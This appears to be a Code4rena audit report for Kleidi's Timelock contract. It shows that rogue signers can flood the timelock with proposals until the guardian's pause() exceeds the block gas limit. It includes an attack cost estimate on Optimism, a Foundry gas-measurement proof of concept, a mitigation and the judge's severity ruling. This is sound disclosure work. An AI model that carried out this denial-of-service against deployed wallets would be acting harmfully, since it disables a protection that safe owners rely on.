Pause function can be bricked

[howlbot-integration]

Lines of code

https://github.com/code-423n4/2024-10-kleidi/blob/c474b9480850d08514c100b415efcbc962608c62/src/Timelock.sol#L685-L700

Vulnerability details

Explanation

The pause function in the timelock is looping through all the proposals and cancels them all in case it is called by guardian. However, the function can be bricked if there are too many proposals.
This is important as one of the main use cases of Kleidi vs using a normal GnosisSafe wallet, is that the pause guardian can step in and singlehandedly stop the system while the recovery spell is passing it's time.

Impact

As mentioned in the project documentation, in case the cold signers are compromised, the pause guardian can step in and pause the functionality of the timelock before recovering the safe with a Recoveryspell.

Situation 1, cold signers gone rogue: In the case that more than owners.length - threshold have gone rogue, and the victim signers can not cancel anything on the timelock, the rogue signers can create many proposals on the timelock, effectively cutting the guardian out of the loop as well. This is because if the gas usage of the pause() function is more than the block's max gas limit, it would effectively become uncallable and will always fail with out of gas error.

Situation 2, cold signers' key are stolen: In this case cold signers should be able to cancel all proposals one by one.

Cost of Attack

The cost of this attack depends of the gas usage of schedule, cancel functions beside the block max gas limit.
As shown in the proof of concept below, the gas limit of cancel is somewhat equal to 5% of the gas cost of schedule. Therefore, attackers should fill up to 20 blocks before the guardian is cut out of the equation.
Here, we explore the cost of this attack on Optimism, with 60,000,000 block gas limit. Filling up 20 blocks is equal to 20*60,000,000 = 1,200,000,000 gas usage. The attack can be executed in less that a minute on optimism, but still the attack can be caught if the pause guardian is extremely fast, therefore, the cost of attack is:

C = 1,200,000,000 gas on OP network
P = Profit from taking over the safe
R = Risk of getting caught mid attack
Overall profit = P - (C + R)

In case the overall profit is more than zero, the attack can be profitable.

Proof of Concept

The PoC below, shows the gas consumption increase based on the number of proposal increased. In case the gas usage of the pause() function goes above the block limit on any network, the transaction would fail:

    function testGasConsumption() public {

        bytes32 scheduleSalt = bytes32("saltxyz");
        uint256 numOfProposals = 100000;
        bytes32[] memory saltArray = new bytes32[](numOfProposals);

        for(uint i; i < numOfProposals; i++) {
            saltArray[i] = keccak256(abi.encodePacked("salt", bytes32(i + 1)));
        }

        bytes memory scheduleData = abi.encode(timelock.updateDelay, MINIMUM_DELAY);
        address timelockAddress = address(timelock);


        // initial call costs more gas
        vm.prank(address(safe));
        timelock.schedule(
            timelockAddress,
            0,
            scheduleData,
            scheduleSalt,
            MINIMUM_DELAY
        );

        vm.startPrank(address(safe));
        uint256 gasBeforeSchedule = gasleft();
        for(uint256 i; i < numOfProposals; i++){
            timelock.schedule(
                timelockAddress,
                0,
                scheduleData,
                saltArray[i],
                MINIMUM_DELAY
            );   
        }
        uint256 gasAfterSchedule = gasleft();
        vm.stopPrank();

        bytes32[] memory ids = new bytes32[](numOfProposals);

        for(uint256 i; i < numOfProposals; i++){
            ids[i] = timelock.hashOperation(
                address(timelock),
                0,
                scheduleData,
                saltArray[i]
            );
        }

        vm.startPrank(timelock.pauseGuardian());
        uint256 gasBeforeCancel = gasleft();
        timelock.pause(); // 10000 -> 32,260,154 4.6%
        uint256 gasAfterCancel = gasleft();
        vm.stopPrank();

        // vm.startPrank(address(safe));
        // uint256 gasBeforeCancel = gasleft();
        // for(uint256 i; i < numOfProposals; i++){
        //     timelock.cancel(ids[i]); // 10000 -> 44,890,040  448,900,040 6%
        // }
        // uint256 gasAfterCancel = gasleft();
        // vm.stopPrank();

        // For 100,000 proposals
        // shecdule 7,398,200,040
        // pause guardian pause 340,048,201 ~ 4.6%
        // safe cancel 448,900,040 ~ 6%



        console.log("Gas consumption of schedule: ", gasBeforeSchedule - gasAfterSchedule); // 10000 -> 739,820,040 7,398,200,040
        console.log("Gas consumption of cancel: ", gasBeforeCancel - gasAfterCancel);
    }

Recommended Mitigation Steps

Let the pause guardian pause the contract with initially cancelling all the proposals. Allow pause guardian to cancel proposals batch by batch.

Assessed type

DoS

[c4-judge]

GalloDaSballo changed the severity to 2 (Med Risk)

[c4-judge]

GalloDaSballo marked the issue as satisfactory